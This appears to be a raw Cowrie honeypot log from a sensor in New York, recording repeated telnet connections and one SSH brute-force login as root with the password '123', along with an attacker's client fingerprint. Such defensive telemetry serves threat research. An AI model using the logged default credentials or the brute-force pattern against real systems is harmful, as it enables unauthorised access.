{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45134,"dst_ip":"159.203.135.109","dst_port":23,"session":"2794203456f9","protocol":"telnet","message":"New connection: 51.161.172.108:45134 (159.203.135.109:23) [session: 2794203456f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.326113Z"}
{"eventid":"cowrie.session.closed","duration":30.802112817764282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.348687Z","src_ip":"51.161.172.108","session":"57718e2252d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37439250946045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.437008Z","src_ip":"51.161.172.108","session":"750692eefa82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43092,"dst_ip":"10.17.0.5","dst_port":23,"session":"fba7e6fc7d0c","protocol":"telnet","message":"New connection: 45.10.154.244:43092 (10.17.0.5:23) [session: fba7e6fc7d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.442442Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"636b29d35079","protocol":"telnet","message":"New connection: 51.161.172.108:45206 (159.203.135.109:23) [session: 636b29d35079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.781460Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45230,"dst_ip":"159.203.135.109","dst_port":23,"session":"11d6fe88018c","protocol":"telnet","message":"New connection: 51.161.172.108:45230 (159.203.135.109:23) [session: 11d6fe88018c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.986397Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45264,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd6b66d546e4","protocol":"telnet","message":"New connection: 45.10.154.244:45264 (10.17.0.5:23) [session: fd6b66d546e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:40.994230Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":51642,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b37d544602","protocol":"telnet","message":"New connection: 167.99.38.72:51642 (159.203.135.109:23) [session: b6b37d544602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:41.054631Z"}
{"eventid":"cowrie.session.closed","duration":30.51354718208313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:41.249644Z","src_ip":"45.10.154.244","session":"b25ba827f097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942808151245117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:41.371074Z","src_ip":"51.161.172.108","session":"37af719bb455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45328,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f7ef4a88db","protocol":"telnet","message":"New connection: 51.161.172.108:45328 (159.203.135.109:23) [session: e5f7ef4a88db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:41.681679Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45384,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c434061da4","protocol":"telnet","message":"New connection: 51.161.172.108:45384 (159.203.135.109:23) [session: 23c434061da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:41.733855Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45346,"dst_ip":"159.203.135.109","dst_port":23,"session":"8faa9f49c392","protocol":"telnet","message":"New connection: 51.161.172.108:45346 (159.203.135.109:23) [session: 8faa9f49c392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:41.820127Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45224,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e8d5823945d","protocol":"telnet","message":"New connection: 51.161.172.108:45224 (159.203.135.109:23) [session: 1e8d5823945d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.030632Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45436,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b88697ecd9","protocol":"telnet","message":"New connection: 51.161.172.108:45436 (159.203.135.109:23) [session: 96b88697ecd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.086399Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45446,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ee36507ad9","protocol":"telnet","message":"New connection: 51.161.172.108:45446 (159.203.135.109:23) [session: 16ee36507ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.107989Z"}
{"eventid":"cowrie.session.closed","duration":31.21137547492981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.175043Z","src_ip":"51.161.172.108","session":"1ac6212bf936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464665174484253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.181406Z","src_ip":"51.161.172.108","session":"fc9df7b59e9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43180751800537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.209212Z","src_ip":"51.161.172.108","session":"15ae56657af6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45300,"dst_ip":"159.203.135.109","dst_port":23,"session":"906ba571e3ad","protocol":"telnet","message":"New connection: 51.161.172.108:45300 (159.203.135.109:23) [session: 906ba571e3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.284999Z"}
{"eventid":"cowrie.session.closed","duration":31.46187472343445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.447817Z","src_ip":"51.161.172.108","session":"f6eb2404a763","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51348,"dst_ip":"10.17.0.5","dst_port":23,"session":"98138bd8bd0e","protocol":"telnet","message":"New connection: 45.10.154.244:51348 (10.17.0.5:23) [session: 98138bd8bd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.477849Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45522,"dst_ip":"159.203.135.109","dst_port":23,"session":"c02dd331fadd","protocol":"telnet","message":"New connection: 51.161.172.108:45522 (159.203.135.109:23) [session: c02dd331fadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:42.508587Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45626,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b6e0fee0508","protocol":"telnet","message":"New connection: 51.161.172.108:45626 (159.203.135.109:23) [session: 7b6e0fee0508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.004864Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45640,"dst_ip":"159.203.135.109","dst_port":23,"session":"7333c606b34d","protocol":"telnet","message":"New connection: 51.161.172.108:45640 (159.203.135.109:23) [session: 7333c606b34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.052705Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45650,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4074a4c950","protocol":"telnet","message":"New connection: 51.161.172.108:45650 (159.203.135.109:23) [session: 9c4074a4c950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.101613Z"}
{"eventid":"cowrie.session.closed","duration":30.484405279159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.218508Z","src_ip":"51.161.172.108","session":"1fefd5716fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62065076828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.248461Z","src_ip":"51.161.172.108","session":"f9759fae9483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958359479904175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.407641Z","src_ip":"51.161.172.108","session":"80f6315378d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.440951824188232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.454274Z","src_ip":"51.161.172.108","session":"26cf9efd6b0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3250479f5b46","protocol":"telnet","message":"New connection: 51.161.172.108:45544 (159.203.135.109:23) [session: 3250479f5b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.556039Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45548,"dst_ip":"159.203.135.109","dst_port":23,"session":"366e5162804e","protocol":"telnet","message":"New connection: 51.161.172.108:45548 (159.203.135.109:23) [session: 366e5162804e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.561214Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45506,"dst_ip":"159.203.135.109","dst_port":23,"session":"2271595b064d","protocol":"telnet","message":"New connection: 51.161.172.108:45506 (159.203.135.109:23) [session: 2271595b064d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.598534Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45686,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc0e2e16c141","protocol":"telnet","message":"New connection: 51.161.172.108:45686 (159.203.135.109:23) [session: dc0e2e16c141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.660010Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45702,"dst_ip":"159.203.135.109","dst_port":23,"session":"17fa6ba155c7","protocol":"telnet","message":"New connection: 51.161.172.108:45702 (159.203.135.109:23) [session: 17fa6ba155c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.777138Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45566,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af8cba190d0","protocol":"telnet","message":"New connection: 51.161.172.108:45566 (159.203.135.109:23) [session: 0af8cba190d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:43.886986Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45742,"dst_ip":"159.203.135.109","dst_port":23,"session":"3256d2a1dbe2","protocol":"telnet","message":"New connection: 51.161.172.108:45742 (159.203.135.109:23) [session: 3256d2a1dbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.119194Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58114,"dst_ip":"10.17.0.5","dst_port":23,"session":"57020dd4d060","protocol":"telnet","message":"New connection: 45.10.154.244:58114 (10.17.0.5:23) [session: 57020dd4d060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.156629Z"}
{"eventid":"cowrie.session.closed","duration":35.186034202575684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.173823Z","src_ip":"167.99.38.72","session":"cae5dd253f5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766309022903442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.179249Z","src_ip":"45.10.154.244","session":"2825427ef073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310006380081177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.268897Z","src_ip":"51.161.172.108","session":"36e62b37e1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570406198501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.410650Z","src_ip":"51.161.172.108","session":"54d580ed6010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45800,"dst_ip":"159.203.135.109","dst_port":23,"session":"926714f103c6","protocol":"telnet","message":"New connection: 51.161.172.108:45800 (159.203.135.109:23) [session: 926714f103c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.544992Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45766,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ed777d4013","protocol":"telnet","message":"New connection: 51.161.172.108:45766 (159.203.135.109:23) [session: 60ed777d4013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.549968Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5365fa4877","protocol":"telnet","message":"New connection: 51.161.172.108:45790 (159.203.135.109:23) [session: 1a5365fa4877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.591066Z"}
{"eventid":"cowrie.session.closed","duration":30.929057359695435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.662596Z","src_ip":"51.161.172.108","session":"3f584e25becb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.890727281570435,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.677795Z","src_ip":"167.99.38.72","session":"c6e5fcdce73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45840,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc277c5741f","protocol":"telnet","message":"New connection: 51.161.172.108:45840 (159.203.135.109:23) [session: fcc277c5741f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.850415Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7bc77553d1e","protocol":"telnet","message":"New connection: 51.161.172.108:45554 (159.203.135.109:23) [session: d7bc77553d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.880268Z"}
{"eventid":"cowrie.session.closed","duration":32.56334042549133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.964988Z","src_ip":"51.161.172.108","session":"9e135ed80739","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45582,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eab146e9043","protocol":"telnet","message":"New connection: 51.161.172.108:45582 (159.203.135.109:23) [session: 5eab146e9043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:44.981503Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54302,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ee8cbd042d","protocol":"telnet","message":"New connection: 167.99.38.72:54302 (159.203.135.109:23) [session: 95ee8cbd042d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.002990Z"}
{"eventid":"cowrie.session.closed","duration":31.50985336303711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.063893Z","src_ip":"34.69.118.1","session":"b005e0f56748","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45870,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7548c7fb007","protocol":"telnet","message":"New connection: 51.161.172.108:45870 (159.203.135.109:23) [session: b7548c7fb007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.115714Z"}
{"eventid":"cowrie.session.closed","duration":30.606114625930786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.186630Z","src_ip":"45.10.154.244","session":"37b07eeacc2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197633743286133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.206459Z","src_ip":"51.161.172.108","session":"babf0ea1486b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8765766620636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.378234Z","src_ip":"51.161.172.108","session":"0f9580a61900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45938,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9f3c3d4571c","protocol":"telnet","message":"New connection: 51.161.172.108:45938 (159.203.135.109:23) [session: e9f3c3d4571c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.396785Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45944,"dst_ip":"159.203.135.109","dst_port":23,"session":"526331d4cade","protocol":"telnet","message":"New connection: 51.161.172.108:45944 (159.203.135.109:23) [session: 526331d4cade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.522940Z"}
{"eventid":"cowrie.session.closed","duration":36.0016610622406,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.643064Z","src_ip":"167.99.38.72","session":"5b3f615f7ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209120512008667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.739435Z","src_ip":"51.161.172.108","session":"792410cf73bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45964,"dst_ip":"159.203.135.109","dst_port":23,"session":"064691202946","protocol":"telnet","message":"New connection: 51.161.172.108:45964 (159.203.135.109:23) [session: 064691202946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.744660Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1eebdbb59a9","protocol":"telnet","message":"New connection: 51.161.172.108:45962 (159.203.135.109:23) [session: f1eebdbb59a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.816440Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46000,"dst_ip":"159.203.135.109","dst_port":23,"session":"102baeead281","protocol":"telnet","message":"New connection: 51.161.172.108:46000 (159.203.135.109:23) [session: 102baeead281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.900289Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c965161f932","protocol":"telnet","message":"New connection: 51.161.172.108:45974 (159.203.135.109:23) [session: 4c965161f932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:45.906037Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f490a28ad99c","protocol":"telnet","message":"New connection: 51.161.172.108:45862 (159.203.135.109:23) [session: f490a28ad99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.006489Z"}
{"eventid":"cowrie.session.closed","duration":31.641751766204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.087713Z","src_ip":"51.161.172.108","session":"f4f744813d3f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"123","message":"login attempt [root/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.140485Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.131893634796143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.214551Z","src_ip":"51.161.172.108","session":"a380d7c1c646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46074,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9bfd1e3db53","protocol":"telnet","message":"New connection: 51.161.172.108:46074 (159.203.135.109:23) [session: d9bfd1e3db53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.327995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.467911Z","src_ip":"122.168.114.167","session":"ad73734dbeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.472765Z","src_ip":"122.168.114.167","session":"ad73734dbeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46112,"dst_ip":"159.203.135.109","dst_port":23,"session":"80e55119e531","protocol":"telnet","message":"New connection: 51.161.172.108:46112 (159.203.135.109:23) [session: 80e55119e531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.538985Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46128,"dst_ip":"159.203.135.109","dst_port":23,"session":"c47d7935b0b5","protocol":"telnet","message":"New connection: 51.161.172.108:46128 (159.203.135.109:23) [session: c47d7935b0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.567023Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46156,"dst_ip":"159.203.135.109","dst_port":23,"session":"34166e751add","protocol":"telnet","message":"New connection: 51.161.172.108:46156 (159.203.135.109:23) [session: 34166e751add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.701173Z"}
